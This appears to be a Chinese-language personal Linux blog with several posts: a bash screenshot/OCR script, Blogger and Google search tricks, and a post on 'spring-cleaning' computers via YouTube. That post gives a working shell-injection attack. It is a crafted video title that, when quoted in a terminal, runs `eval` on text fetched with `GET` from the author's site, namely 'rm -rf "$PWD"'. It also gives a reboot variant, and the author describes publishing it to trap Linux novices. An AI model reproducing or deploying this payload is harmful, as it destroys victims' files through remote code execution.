Sunday, 10 April 2016

如何用 Print Screen

先来看视频 (因为没打算 edit video,所以想下一个步骤会有点 delay, 最终还是漏了一个步骤,需要事后补上去,后面冷场可以加速 x2 观看的):


制作步骤:

[1] 设置三个快捷键,分别是 xdotool, 两种 --countdown 和 --area 两种选项。之所以需要 xdotool 当代理人是因为无法直接用 scrot -s/gnome-screenshot -a, shutter 没这个问题。/home/xiaobai/note/sh/my_gnome_area.sh 是我的代码文件路径。




【2】
my_gnome_area.sh script 代码 (无 comments 纯净版):

for cmd in "mktemp" "shutter" "feh" "wmctrl" "notify-send" "ts" "eog" "gimp" "convert" "tesseract" "gedit" "firefox" "curl" "xargs" "konsole" "vimx" "yad"; do 
    command -v $cmd >/dev/null 2>&1 || {  LANG=POSIX; xmessage "Require $cmd but it's not installed.  Aborting." >&2; exit 1; }; :;
done
mkdir -p -- "$HOME/Pictures/print_screen_note/"
tmpj="$(mktemp /tmp/`date +"%s_%Y-%m-%d"`_XXXXXXXXXX.png)"
tmpocr="$(mktemp -u /tmp/`date +"%s_%Y-%m-%d"`_ocr_XXXXX)"
tmpocr_p="$tmpocr"+'.png'
if [[ "$@" == "--area" ]]; then
    gnome-screenshot -a -f "$tmpj" 2>&1 >/dev/null | ts >>/tmp/gnome_area_PrtSc_error.log
elif [[ "$@" == "--countdown" ]]; then
    shutter -s -d 5 -c -e -o "$tmpj" 2>&1 >/dev/null | ts >>/tmp/shutter_PrtSc_error.log
else
    echo "Invalid argument." | ts >>/tmp/PrtSc_error.log
    exit 1
fi
function ocr () {
    tmpj="$1"
    tmpocr="$2"
    tmpocr_p="$3"
    atom="$(tesseract --list-langs 2>&1)"; atom=(`echo "${atom#*:}"`); atom=(`echo "$(printf 'FALSE\n%s\n' "${atom[@]}")"`); atom[0]='True'
    ans=(`yad --center --height=200 --width=300 --separator='|' --on-top --list --title '' --text='Select Languages:' --radiolist --column '✓' --column 'Languages' "${atom[@]}" 2>/dev/null`) && ans="$(echo "${ans:5:-1}")" &&  convert "$tmpj[x2000]" -unsharp 15.6x7.8+2.69+0 "$tmpocr_p" | yad --on-top --title '' --text='Converting ...' --progress --pulsate --auto-close 2>/dev/null && tesseract "$tmpocr_p" "$tmpocr" -l "$ans" 2>>/tmp/tesseract.log | yad --percentage=50 --on-top --title '' --text='Tesseracting ...' --progress --pulsate --auto-close 2>/dev/null && if [[ "$ans" == 'eng' ]]; then konsole -e "vimx -c 'setlocal spell spelllang=en_us' -n $tmpocr.txt" 2>/dev/null; else gedit "$tmpocr.txt"; fi
    rm "$tmpocr_p"
}
export -f ocr
feh -x \
-A "cp %F ~/Pictures/print_screen_note/%N" \
--action1 "notify-send ' ' -u critical 'd: title, up/down: zoom, w: win_to_img, </>: rotate, *: orig, Enter/0: save to ~/Pictures/print_screen_note/, 1: Help, m/right_clic: context menu, 2: Always on top, 3: Remove always on top, 4: shutter, 5: eog, 6: gimp, 7: OCR, 8: Note directory(Left/Right to navigate), 9: Google. Alt+F7(Might cause mouse pointer lag) to move windows like Left_mouse_click+Super keys. After position changed, Esc to cancel, Enter to confirm.'" \
--action2 "wmctrl -a \"feh [1 of 1] - $tmpj\" -b add,above" \
--action3 "wmctrl -a \"feh [1 of 1] - $tmpj\" -b remove,above" \
--action4 "shutter $tmpj &" \
--action5 "eog $tmpj &" \
--action6 "gimp $tmpj &" \
--action7 "ocr $tmpj $tmpocr $tmpocr_p &" \
--action8 "feh -x ~/Pictures/print_screen_note/ &" \
--action9 "(curl -sf --output /dev/null -w '%{redirect_url}' -F 'image_url=' -F 'image_content=' -F 'filename=' -F 'h1=en'  -F 'bih=' -F 'biw=' -F "encoded_image=@$tmpj" 'https://www.google.com/searchbyimage/upload' | xargs -rL1 firefox -new-tab)&" \
"$tmpj" 2>&1 >/dev/null | ts >>/tmp/PrtSc_error.log


【3】
虽然我上面的代码开头有检查需要用的 utilities/工具然后给出错误信息,但还是要说,最好先手动试这些 commands 能跑,往后就可以 comment out 那个 checking:

[1] mktemp
- coreutils  package
[2] shutter
[3] feh

这个 我记得是自己 compile 才能完全 borderless 的。新的 Fedora 不懂有没有 fix。

[4] wmctrl
[5] notify-send
- libnotify package, 如果 install 找不到 package,可以用 dnf whatprovides /usr/bin/notify-send 寻找真正的 package 名字来安装。
[6] ts
- moreutils package
[7] eog
[8] gimp
[9] convert
- ImageMagick package
[10] tesseract

- 用这个 command 确保有三种语言, 英文/繁体/简体:
[xiaobai@xiaobai sh]$ tesseract --list-langs
List of available languages (3):
eng
chi_tra
chi_sim
[xiaobai@xiaobai sh]$

如果没有繁体/简体(通常都是没有的 la),就安装语言包, 例如 dnf 安装:
- dnf install tesseract-langpack-chi_sim tesseract-langpack-chi_tra

- 不过那个代码是 dynamic list down  语言来 create dialog 的, 所以其实你可以有很多语言。

[11] gedit
[12] firefox
[13] curl
[14] xargs
- findutils package
[15] konsole
- 虽然 heavy, 我坚持安装 kde terminal 在 gnome 主要是因为只有 konsole 能支持全局 highlight 搜索, 其它 terminal 最多只能同时 highlight 一个。由于本人很依赖全局 highlight(grep 做不到的,跑完 command 又要重新跑多一次 grep 咩,又或者还要 copy 去 gedit 全局搜索 ? 天黑 lor), 所以真的很惊讶到现在 2016 年 gnome-terminal 还是没有这个功能。就算 terminology 很 cool 都然并卵。
[16] vimx
- vim-X11 package
[17] yad
[18] gnome-screenshot
[19] xmessage, X 都有吧,所以我才用它当检查 commands 不在的默认 dialog。
- [更正] Fedora 24 需要安装 org-x11-apps 才有 xmessage。也要安装 xdotool 才能给  shortcut key 那边用。

【4】
还有一些零碎的要点:
[1] 我用的是没有 wallpaper 的黑屏幕。Fedora 21 Gnome 3。
[2] 用 [Super+mouse] 有时会拉上去 top panel, 只要用 [Super+mouse] 拉下来即可。
[3] 需要 Notifications settings 那里 Enable "Show Pop Up Banners" 才能看到 Help menu dialog, 不过正常应该已经  Enable 的。
[4] 我用的 gnome extension 包括 Disable window is ready notification, 以及让 notification 出现在上面而不是下面的 Panel OSD
[5] 在 feh 按 [a] 会出现 --action
[6] [上/下键] 缩大小, 是和 [w] fit window 一起用的组合。
[7] scrot 选 area 的线条有时会闪出很多条线,用 gnome-screenshot 比较好。
[8] [Super+mouse], Super 键按一次其实已经是 drag 着了,不需要一直按,虽说我还是习惯一直按方便改位置。


【5】
my_gnome_area.sh script 代码 (comments 版):

#keep in mind, use >> instead of > to log
<<"TODO"
[1] Add open /tmp/ dir support, in case accidentally close
[2] Make #[1] and note dir open as this customized --action feh #The quick workaround is screenshot again on note window, not a MUST have feature though
[3] not sure if better default to "alwasy on top" when feh display
TODO
#User should ensure tesseract installed "tesseract-langpack-chi_sim" "tesseract-langpack-chi_tra"
#search and replace all for "firefox" and "drive-linux-x64" if you are prefer difference web browser or gdrive-linux-386 ...etc 
#use yad instead of zenity to support --on-top
for cmd in "mktemp" "shutter" "feh" "wmctrl" "notify-send" "ts" "eog" "gimp" "convert" "tesseract" "gedit" "firefox" "curl" "xargs" "konsole" "vimx" "yad"; do #moreutils for `ts` AND diff err filename help to distinguish the occurrence, which unreliable to prefix some title before stderr append to err file tricks #| ts is stdout only, |& is 2>&1 stdout+stderr, [optional 1]>/dev/null |& is stderr only #When `ls -R /tmp/* 2>&1 2>/dev/null | grep i` the 2nd 2>/dev/null actually bring 
<<"PIPE" #imagine: #will stderr "my_gnome_area.sh: line 4: imagine:: command not found" if not put '#' infront "imagine:"
original:
#nobody --> /dev/null fd
#1 symlink --> stdout fd
#2 symlink --> stderr fd

2>&1 means point to #1's fd
#nobody --> /dev/null fd
#1 symlink --> stdout fd
#2 symlink -----^ 
#nobody --> stderr fd

then 1>/dev/null means
#1 symlink --> /dev/null fd
#2 symlink --> stdout fd(so only #2 will pipe and become next command's #1)
#nobody --> stderr fd

So, `>/dev/null |&` same like `>/dev/null 2>&1 |`  and means stdout fd is empty to pipe (e.g. `ls -R /tmp/* >/dev/null 2>&1 |  grep i` will give empty, but `ls -R /tmp/* 2>&1 >/dev/null |  grep i` will got #2 as explained above)

Noted oso 2>/dev/null will only tied fd without execute remove yet, so if 2>/dev/null 2>&1 will still able to pipe

All due to no such thing stdin_pre_out and stdin_pre_err, instead only have one door for stdin per process/pipe which accept stdout only from prev pipe, stderr nid bundle with stdout or use other trick to pass to next pipe.
PIPE
command -v $cmd >/dev/null 2>&1 || {  LANG=POSIX; xmessage "Require $cmd but it's not installed.  Aborting." >&2; exit 1; }; :;
done

mkdir -p -- "$HOME/Pictures/print_screen_note/"
tmpj="$(mktemp /tmp/`date +"%s_%Y-%m-%d"`_XXXXXXXXXX.png)" #Use .jpg will blur, see below comments [#keyword 'blur']
tmpocr="$(mktemp -u /tmp/`date +"%s_%Y-%m-%d"`_ocr_XXXXX)" #-u means --dry-run, not -d
tmpocr_p="$tmpocr"+'.png'

if [[ "$@" == "--area" ]]; then
    gnome-screenshot -a -f "$tmpj" 2>&1 >/dev/null | ts >>/tmp/gnome_area_PrtSc_error.log #bug: blur quality rf: https://bugs.launchpad.net/ubuntu/+source/gtk+3.0/+bug/1512290 #for gnome-screenshot, blur img due to it's jpg, if use png will good quality

    #scrot -s "$tmpj" 2>&1 >/dev/null | ts >>/tmp/scrot_area_PrtSc_error.log
    #scrot -s -e 'mv $f'" $tmpj" 2>&1 >/dev/null | ts >>/tmp/scrot_area_PrtSc_error.log #originally the img is blur, then i figure out direct_shortcut/cmd no problem, only script(not exactly true, see later comment #1),  then use strace and found the filename diff, so i realize is bcoz "$tmpj" is set here and i play around `scrot -s /tmp/xxx` inside konsole and got error "giblib error: Saving to file /tmp/xxx failed". Then i realize script without predefined_filename have good quality [#1]. So the problem actually is predefined_filename even though still can output blur img to next instruction/feh. 
    #So why 'mv $f'" $tmpj" got mix single/double quotes ? Bcoz $f not suppose to be expand by bash, instead if should keep literaly '$f' and pass to scrot to interprete/process. And so we write '$f' for unexpand by bash, and "$tmpj" for expand by bash.
    #[REAL REASON] the above mentioned 'without predefined_filename have good quality' is misleading, bcoz the real reason is bcoz i use .jpg when `mktemp`, so either scrot or gnome-screenshot will both blur bcoz it assume i want JPEG which poor quality. But, if no predefined_filename means assume PNG by default, even after `mv` to .jpg, it's actually a PNG image(can check by `exiftool`) with wrong extension(`eog` will not show mismatch extension but `display` did).

elif [[ "$@" == "--countdown" ]]; then
    shutter -s -d 5 -c -e -o "$tmpj" 2>&1 >/dev/null | ts >>/tmp/shutter_PrtSc_error.log #shutter no nid agent custome shortcut key to works #-c include cursor, -e dont show shutter viewer after captured
    #gnome-screenshot -d 5 -f "$tmpj" 2>&1 >/dev/null | ts >>/tmp/gnome_area_error.log #unable include context menu with area #use xclock to show time if used
else
    echo "Invalid argument." | ts >>/tmp/PrtSc_error.log
    exit 1
fi

<<"GDRIVE" #deprecated since Google not strict on encoded anymore #oso remove on the top's checking
#Full request(refer it if not working): curl -s -F "image_url=" -F "image_content=" -F "filename=" -F "h1=en"  -F "bih=" -F "biw=" -F "encoded_image=@1460127392_2016-04-08_i092fx0gu2.png" https://www.google.co.in/searchbyimage/upload
#base64 url: echo "data:image/jpeg;base64,$(base64 -w 0 $tmpj)"
function gdrive () {
    img_id="$(drive-linux-x64 upload --share -f $1 | head -n1 | cut -f2 -d ' ')"; firefox -new-tab 'https://www.google.com/searchbyimage?site=search&sa=X&image_url=https://drive.google.com/uc?id='"$img_id"
    #Unless u can firefox open new tab return 200 google ok, otherwise sleep only lor, so you nid visits gdrive to delete manually if shutdown before wake up something
    #so, give up to 30 seconds for google get the uploaded large file
    sleep 30; drive-linux-x64 delete -i "$img_id"
}
export -f gdrive #use 'gdrive "$tmpj" &' to call
GDRIVE

#Bcoz common use of "Always on top" on feh, better if can focus zenity, but it's still mark as [todo] target at 3.2(mine is 3.14.0), rf: https://wiki.gnome.org/Projects/Zenity 
#zenity's -radiolist nid --hide-header if used, yad no such arg
#yad's has new args: --center(progress better on upper left(curr default) instead of middle), --separator='|'(set it even though currently is default for safety to parse "$ans") and --on-top over zenity
#depends on current mouse focus, zenity/yad/konsole will on relevant monitor display when pop up
#yad -pulsate not working but zenity works fine, but still --on-top more important than this progress bar animation, so still use yad
#keep in mind if konsole support language other than english then vimx's "setlocal spell spelllang=en_us" might nid consider to redesign to support misc lang, not MUST though
function ocr () {
    tmpj="$1"
    tmpocr="$2"
    tmpocr_p="$3"
    #[WRONG bcoz i'm accidentally put double (()) in 1st statements, actually no nid atom[-1]=${atom[-1]%?};  to remove trailing ')' ]
    #atom="($(tesseract --list-langs 2>&1))"; atom=(`echo "${atom#*:}"`); atom[-1]=${atom[-1]%?}; atom=(`echo "$(printf 'FALSE\n%s\n' "${atom[@]}")"`); atom[0]='True'
    atom="$(tesseract --list-langs 2>&1)"; atom=(`echo "${atom#*:}"`); atom=(`echo "$(printf 'FALSE\n%s\n' "${atom[@]}")"`); atom[0]='True'

    ans=(`yad --center --height=200 --width=300 --separator='|' --on-top --list --title '' --text='Select Languages:' --radiolist --column '✓' --column 'Languages' "${atom[@]}" 2>/dev/null`) && ans="$(echo "${ans:5:-1}")" &&  convert "$tmpj[x2000]" -unsharp 15.6x7.8+2.69+0 "$tmpocr_p" | yad --on-top --title '' --text='Converting ...' --progress --pulsate --auto-close 2>/dev/null && tesseract "$tmpocr_p" "$tmpocr" -l "$ans" 2>>/tmp/tesseract.log | yad --percentage=50 --on-top --title '' --text='Tesseracting ...' --progress --pulsate --auto-close 2>/dev/null && if [[ "$ans" == 'eng' ]]; then konsole -e "vimx -c 'setlocal spell spelllang=en_us' -n $tmpocr.txt" 2>/dev/null; else gedit "$tmpocr.txt"; fi

    rm "$tmpocr_p"
}
export -f ocr

<<"SEARCH_BY_IMG"
- https://developer.chrome.com/extensions/settings_override
- https://chromium.googlesource.com/chromium/src.git/+/46.0.2478.0/chrome/browser/renderer_context_menu/render_view_context_menu_browsertest.cc
- http://extra.dyndns-web.com/105/10500021_1_JPG.TXT
- https://www.chromium.org/administrators/policy-list-3
- https://chrome.googleblog.com/2013/10/search-by-image-and-new-chrome-for.html
SEARCH_BY_IMG

feh -x \
-A "cp %F ~/Pictures/print_screen_note/%N" ${IFS# [1] no nid cp bcoz after mv still can navigate/zoom...etc. [UPDATE] use cp bcoz what if trigger eog after Enter ? [2] -A means --action0 too} \
--action1 "notify-send ' ' -u critical 'd: title, up/down: zoom, w: win_to_img, </>: rotate, *: orig, Enter/0: save to ~/Pictures/print_screen_note/, 1: Help, m/right_clic: context menu, 2: Always on top, 3: Remove always on top, 4: shutter, 5: eog, 6: gimp, 7: OCR, 8: Note directory(Left/Right to navigate), 9: Google. Alt+F7(Might cause mouse pointer lag) to move windows like Left_mouse_click+Super keys. After position changed, Esc to cancel, Enter to confirm.'" ${IFS# alternative is xmessage ''}  \
--action2 "wmctrl -a \"feh [1 of 1] - $tmpj\" -b add,above" ${IFS# [1] use wmctrl -l too see the title or feh without -x to double check [2] toggle,above not working}  \
--action3 "wmctrl -a \"feh [1 of 1] - $tmpj\" -b remove,above" \
--action4 "shutter $tmpj &" ${IFS# [1] 'sometime' no nid & like other gui [2] not sure why got use mktemp-like 10 chars create new /tmp/ file [3] feature: can set arrow} \
--action5 "eog $tmpj &" ${IFS# [1] nid & to continue play feh base image without have to close gui or xkill base img, but no nid disown [2] can drag and drop to fb comment}  \
--action6 "gimp $tmpj &" ${IFS# f free select, ctrl+shift+v from clipboard, ctrl+e export} \
--action7 "ocr $tmpj $tmpocr $tmpocr_p &" ${IFS# see #OCR comment} \
--action8 "feh -x ~/Pictures/print_screen_note/ &" ${IFS# only refresh latest pictures on next --action8} \
--action9 "(curl -sf --output /dev/null -w '%{redirect_url}' -F 'image_url=' -F 'image_content=' -F 'filename=' -F 'h1=en'  -F 'bih=' -F 'biw=' -F "encoded_image=@$tmpj" 'https://www.google.com/searchbyimage/upload' | xargs -rL1 firefox -new-tab)&" ${IFS# see #gdrive comemnt}  \
"$tmpj" 2>&1 >/dev/null | ts >>/tmp/PrtSc_error.log
<<"OCR"
[1] quality 100% bigger size but same output.
[2] -alpha reset or activate or deactivate same and copy is bad.
[3] -colorspace gray is lose even though have some win.
[4] recommended 0x0.75+0.75+0.008 if larger than 500 pixels is bad,
[5] no nid care about random files for ocr, support multi convert in the same time is overkill.
[6] use "Always on Top" for other windows is normal to build your screen layout :)
[7] use ()& to bundle whole commands to bg, not just put at the end.
[8] For unknown reason tesseract normal log oso stderr, so nid /tmp/tesseract.log to avoid ocr success still update PrtSc_error.log.
[9] got `convert -monitor` but how to pass its updating % to zenity on the fly 
[10] zenity 2>/dev/null to discard "Gtk-Message: GtkDialog mapped without a transient parent. This is discouraged."
[11] gedit better chinese chars look, and no point check spelling
[12] can better if able make konsole pop up in medium win size

rf1: http://www.imagemagick.org/Usage/resize/#resize_unsharp, rf2: http://stackoverflow.com/questions/9480013/image-processing-to-improve-tesseract-ocr-accuracy (radius = 6.8, amount = 2.69, threshold = 0, which 6.8+1 and *2, threshold 0/255 still 0), rf3: http://www.imagemagick.org/Usage/blur/#unsharp, rf4: http://www.imagemagick.org/discourse-server/viewtopic.php?t=23747, rf5: http://www.imagemagick.org/discourse-server/viewtopic.php?t=22998
OCR

【6】[更正] 不同于 Fedora 21, 新的 Fedora 24 的 notify-send 需要题目至少要有 '  ' 才能看到完整的内容。Credit

有一些无法实现的,如 gimp free selection 变成相对应的 borderless。

无论如何,想象一下未来,随手一剪,就能把浏览器的穿一个洞。随手一剪,就能把 fb 的 album 拉出来变成 standalone 的 window。

[更新: kali]
本人用  debian based 的 kali 2016.2 后,发现一些不同的地方。
[1] 安装的命令: sudo apt-get install tesseract-ocr-chi-sim tesseract-ocr-chi-tra yad gimp moreutils notify-osd libnotify-bin wmctrl feh shutter xdotool vim-gtk3
[2] 其中, tesseract 改了一点名字,notify-osd 和 libnotify-bin 提供 notify-send。要注意的是,安装 vim-gtk3 后,  有了 gvim,然后做 `mv /usr/bin/gvim /usr/bin/vimx` 以及 `ln -s /usr/bin/vimx /usr/bin/gvim`,理由是我的 Fedora 24, vimx 本来就是 link 去 gvim,只不过必须要用 vimx 的名义才不会出现新的 GUI, 而是在 terminal 里头。(更新) 好像是 sudo apt-get install vim-gnome 才对,总之刚才被 vimrc 搞得团团转我现在很晕,不懂 default 是怎样的 (现在是 /usr/bin/vimx -> /etc/alternatives/gvim* --> ... ---> /usr/bin/vim.gtk3*)。
[3] xdotool 不稳定,把那个原本 <Super+S> 的 agent 按 Backspace disable 掉它。<Super+S> 需要 restart ganti 掉原本的 key 才稳定。
[4] export -f ocr 竟然不能 work !!! 应该是 kali 默认用速度快但功能老牙的 dash 弄到的。所以把 OCR 那部分拉出来放在 /usr/bin/ocr,首行加上 #!/bin/bash,然后 `sudo chmod +x` 它:



[再更新:]
我刚才终于有空研究了一下,发现是 feh 默认使用 sh, 或 kali 的 dash (用 type -a 的 error 是一样的,就是不能用 -a)。这里的 export -f ocr  运行在 bash 当然只对 bash 有效而不是 dash,所以不能把问题归咎于 bash 不支持 export。 改成 --action7 "/bin/bash -c \"ocr $tmpj $tmpocr $tmpocr_p & \"" ${IFS# see #OCR comment} \ 后,问题即可解决。

[更新: Ubuntu 17.04]
[1] 默认是 <Alt> 键+ left-click 来搬图片 window。 必须打开 dconf-editor, 然后去 org → gnome → desktop → wm → preferences → mouse-button-modifier 把 <Alt> 改成 <Super>。
[2] 还是必须用 /usr/bin/ocr 解决类似 kali 的 `export -f ocr` 不 work 问题。

[Skyshot]
我独自开发的革命性 screenshot app, Skyshot 在 Google Play 上架啦。
免费+无广告,欢迎亲们下载哟 爱你们
https://play.google.com/store/apps/details?id=com.blogspot.diannaoxiaobai.skyshot



[更新]
后来我自创的 print screen 风格已很完善了,此文没更新我使用 ev_test 来达成浏览 /tmp/ 文件。

Friday, 22 January 2016

如何玩 blogger


直接上图~


谷歌回应:



不是很严重的 bug, 所以他们应该很懒 fix,酱就乘还米有 fix 的时候玩下吧, :p

不过不要玩我的 blog 哦 , 已经够少 page views 了还玩~

[2016 九月更新] 
改版的 "Don't track my views for this blog." 很 buggy,必须去http://diannaoxiaobai.blogspot.com 和 http://diannaoxiaobai.blogspot.my 两个 hosts,  inspect console, 手动运行 document.cookie = "_ns=2; expires=Wed, 11 Dec 2030 01:01:01 GMT; path=/" 才可 (你不放 expires 日期的话,重启浏览器会不见 cookie)。


Sunday, 10 January 2016

谷歌 - 如何复制直接链接

前言: 此文用的是 firefox 和 chrome 浏览器。


如果你谷歌搜索 mocha ais:


可能你不想给谷歌 track 你,又或者做 note, 不想 redirect 等等原因...

想在不打开新一页的情况下, 想用右键直接复制链接:


它下面的 link 就从:

http://www.tripadvisor.co.uk/LocationPhotoDirectLink-g298316-d4084426-i133563838-Old_Malaya_Kopitiam-Shah_Alam_Petaling_District_Selangor.html

变成长长且 decoded 的:

https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=0ahUKEwjX48392p7KAhUScI4KHbAvCEYQFggcMAA&url=http%3A%2F%2Fwww.tripadvisor.co.uk%2FLocationPhotoDirectLink-g298316-d4084426-i133563838-Old_Malaya_Kopitiam-Shah_Alam_Petaling_District_Selangor.html&usg=AFQjCNFh3sR4t1GrSftuCNWspylUReqr-w&bvm=bv.111396085,d.c2E


网上很多类似的问题:
1. Copy raw link found by Google search, not the one with extra redirect added
2. How can I copy the link in Google without openning the link and the “Google stuff” in the URL? [closed]
3. When copying a link from a Google search, how do I get rid of the “www.google.com” reference in the pasted link?
4. “Real” link to file in Google search results? [closed]
5. How can I make Firefox change google search result links to direct links to what they say they are? [closed]

它们的解决方法形形色色, 用 addon 啊, decode 啊,用 javascript 啊,用 mobile 版啊, 空白地方等等...

有些方法不稳定, 有些方法 browser dependent, 或者麻烦 copy-paste

也可以 copy 酱去 blogger editor (Club sandwich + Mocha Ais - TripAdvisor),不过很麻烦~

用 mobile 版其实是可以的(只要改 user-agent), 但是有两个问题:
1. layout 不一样,naivigate 怪怪的
2. 谷歌的搜索结果也不一样, 因为谷歌 spider 是分开的,mobile UA scrape mobile 版, web UA scrape web 版。

最明显的例子,我们去 chrome -> inspect -> Emulation tab -> Network 那里换 user agent 去 iphone, 然后搜索 facebook:

拿到的是 mobile 版的 m.facebook.com 链接。


所以,今天我们来学新招,复制直接链接,同时防止谷歌 stalk 你 click 什么。


首先, 我们去 url bar 输入浏览 cache:google.com



它就会来到这页:



把那个长长的地址 http://webcache.googleusercontent.com/search?q=cache%3Agoogle.com&ie=utf-8&oe=utf-8 的 ?q= 那里丢掉后面的,改成 ?q=cache:mocha, 变成 http://webcache.googleusercontent.com/search?q=cache:mocha 

注:
[1] 这时你要把前面的 http 改成 https 也可以
[2] 有了 history 后,以后可以直接输入 we 开头, 直接更改, 不需要 cache:google.com。

就会来到这页:



你会看见搜索的结果包括了 cache:mocha, 而不是我们要的 mocha 而已。

如果直接改成 mocha 就会 error:



米关系,我们先在cache: 后面丢掉 mocha, 输入乱码, 如 cache:asu521holelalaX



酱就能确保谷歌无法搜到这个字眼。

然后,在 cache:asu521holelalaX 后面加上 OR mocha ais 变成 cache:asu521holelalaX OR mocha ais



然后就搞掂了,只搜到 mocha ais,可以直接复制链接了:

现在可以直接在 OR 后面, 更改其它你要搜索的关键字。(由于我这篇 blog 的关键字出现在 google search 被混淆, 所以你不能再用 mocha ais 了, 其它可以 :p)

你可以 bookmark 它,方便下次搜索, 如图, New Bookmark 在 firefox bookmark bar。

这个默认是click 链接后就 ganti 这页, 但如果你不想 copy 在 new tab, 而是 click 链接后 open in new tab,可以在 bookmark url 后面加上 &newwindow=1, 变成 http://webcache.googleusercontent.com/search?btnG=Search&q=cache%3Aasu521holelalaXY+OR+mocha+ais&num=10&newwindow=1

如果是要 filter by 小时,天,周, 月, 年, 就在后面加上 &tbs=qdr: 以及相应的 h, d, w, m, y, 比如说 filter by 天,就会变成 http://webcache.googleusercontent.com/search?btnG=Search&q=cache%3Aasu521holelalaXY+OR+mocha+ais&num=10&newwindow=1&tbs=qdr:d如果是日期之间,就加上 &tbs=cdr:1,cd_min:1/1/2016,cd_max:1/3/2016 这类格式,前面的 cdr:1 不需要改。其它 pattern 可以自己从普通的谷歌搜索的 url bar 那里看。

默认是 10 个结果,如果要增加到 20, 就加上 &num=20

你也会发现那些 results 没有下箭头去 cache 网页的功能,米关系,只要复制直接链接后,在 url bar 上,输入 cache:, 然后在后面粘贴那个链接, 变成如下:

cache:http://www.tripadvisor.co.uk/LocationPhotoDirectLink-g298316-d4084426-i133563838-Old_Malaya_Kopitiam-Shah_Alam_Petaling_District_Selangor.html

(注: cache: 链接不可以直接在网页按哦,要在 url bar, 其实它原理就是 google search with cache:链接)

就能去到你要的 cache lor。





Monday, 4 January 2016

如何用 youtube 大扫除

新年要到了 (◔‿^) ♥, 也是家家户户大扫除的时候。

今天,我们来学如何善用 youtube, 然后帮小白的电脑大扫除。


首先,我们要准备一个 malicious 的视频标题:

我们的目标是小白使用 terminal 播放视频, 他想用单引号来 escape 下载好的视频标题,所以只要那个标题的中间多了两个单引号,那么小白外围的单引号就等于抵消成两个 tokens。

假设正常的标题是 ABC<空格>DEF, 直接给 player 播放就会当成 ABC 和 DEF 两个 token(视频标题),可是我们没有视频叫 ABC, 也没有视频叫 DEF, 我们只有叫 ABC<空格>DEF 的视频, 所以给 player 播放就会 error。

这时候,小白就会加单引号或双引号,它就会变成 'ABC<空格>DEF' 完整的单个 token, 然后 player 就能顺利播放。

可是如果视频标题是 ABC ' ' DEF, 那么如果小白没留意到中间的单引号,反而习惯性的在外围加上单引号, 就会变成 'ABC'  'DEF' , 也就是没 escape 到, 仍然是把一个视频名字分成两个 token, 当然无法播放。

如果视频标题是 ABC ' XXX 指令 ' DEF, 那么一旦不小心单引号 escape, 就会变成  'ABC ' XXX 指令 ' DEF', 也就是 4 个单引号和三个 tokens,前后 token 是分开的视频名字,中间的 token 就是想要运行的指令。但是这样是不够的,要加上 ; colon,如 'ABC '; XXX 指令; ' DEF' ,才能让 shell interpreter 把 XXX 当作可以运行的指令。那个第二个 ; colon 取决于你的指令是什么,是 optional 的。其它选择是 &&。由于 youtube 会转换 || 去 underscore, 所以不能 || 或 pipeline。除此之外,星号 (expansion 用途) 会转去 underscore, < 和 > (重定向用途)不能当标题,/ (网址用途) 不能当文件命名,这些限制很大程度考验我们要如何设计标题。

小白特地 escape 反而变到没 escape, 我称这招为 "Malicious Anti-escape"



懂了原理后,让我们来精心炮制 malicious 视频标题 :p

先用指令 mkdir -p test/a/b/c; touch test/a/b/h; touch test/lala; cd test; l 准备一些 dummy dirs/files

用 touch 做标题,然后用 mplayer 实验。我上面讲过需要中间 4 个单引号,下面那个 touch 外面是小白放的所以不用制作, 只需要制作中间的那个单引号。要制作单引号的方法之一是外围两个单引号终止左右边从而变成 2 个 tokens, 然后两个双引号保护单引号, 就成为  ' " ' " '。三个 tokens。

因为很多小白都懂 rm -rf, 所以我们要把它丢在"不容易辨认"的 HTTP 请求里头。可是也有小白懂 wget 和 curl,所以必须用罕见且看起来不像指令的英文字。第一种选择是蛮正常的 http(httpie 指令),不过由于电脑装上 httpie 的人应该都懂 http, 所以不在考量之内。这时候默认安装且看起来不像指令的 GET 就脱颖而出了。`GET limkokhole.github.io` 会发出 HTTP 请求拿到纯文本 rm -rf "$PWD"。然后外围的 `` (backtick) 运行指令。我的例子只是 mention env variable 的可行性,如果你不要用 rm -rf "$PWD", 而是直接来大名鼎鼎的 rm -rf ./*, 就可以省掉 eval。

不过这样是不足够的,如果小白是用 mplayer 就比较容易进 rm -rf 那里,但是如果小白是用 vlc, 他一旦发现 error, 就会去 Ctrl+C stop 掉它。如果它连续按就会在需要一点 delay 的  HTTP 请求, GET limkokhole.github.io 那里跳出来而来不及执行 rm -rf。解决方法就是在 GET 之前补上 stty raw 扰乱他的 Ctrl+C input。

还有一点,如果你觉得习惯用 double quotes 的小白比较多(根据我的调查, 可能比单引号要多, 但必须考量那些不懂区分双单引号的人的 bash 水平也随之低下, 选择 player 播放,而不是 command line 播放, 你也就无法得逞) 就要做相反的 escape, 也就是单引号变成双引号, and vice versa 来处理。


 拿到标题后,就去 github, clone 自己的 repo,然后修改成 rm -rf "$PWD" (当然只是讲吧了,上面的截屏已经是修改了,不然怎样 test)。因为等下文件命名不能用 slash, 所以不能用一般的 url shortening, 所以选用支持 subdomain 的 github:


然后浏览 http://limkokhole.github.io/ 就能可能看到修改后的 rm -rf "$PWD" (小更正: "$PWD" 忘记放 double quotes 来包含有空格的绝对路径~):


我们要去 youtube,上载和标题相似的视频:


上载完毕后,把标题改成:
The blit - The first Unix graphical multi-programming terminal by Rob Pike, x86_64 cpu';stty raw;eval `GET limkokhole.github.io`;' bell-lab protocol history 1970


如果太长, 之后改也可以,我最终调整至 The blit - Unix graphical multi-programming terminal';stty raw;eval `GET limkokhole.github.io`;' lab


publish 后,去 Advanced settings, 确保不要给人 comment/dislike 的机会, Save changes:



然后就搞掂了,坐等 linux 小白上钩, 下面是以上钩的角度所拍摄:



如何 defense:

[1.] 用 autocomplete
[更新] 如果不小心 copy 到片名左边的单引号再 autocomplete 也是一样中(我当时自己也吓到一下,幸好我真的没傻到留着那个 github rm -rf。 囧)
[2.] 常 backup 重要的文件
[3.] 关注我的 blog, 提升电脑知识 :)


如果不要大扫除酱残忍,可以来个 harmless 一点的:

The blit - Unix graphical multi-programming terminal';init 6;'lab-DS6l7hLEatM.mp4

酱就只会 reboot 电脑而已 lor。


[更新]
我写这篇 blog 的 14 天后,gnu 的 ls 更改成默认 quote 了:


其它讨论链接: [1] [2] [3]

Youtube 加自己重复的 views 才 20 views,真正看我 blog 的人实际上只有小猫两三只,更别说看得懂,所以纯属巧合。


Tuesday, 8 December 2015

面子书 - 如何慢火蒸出 page admin


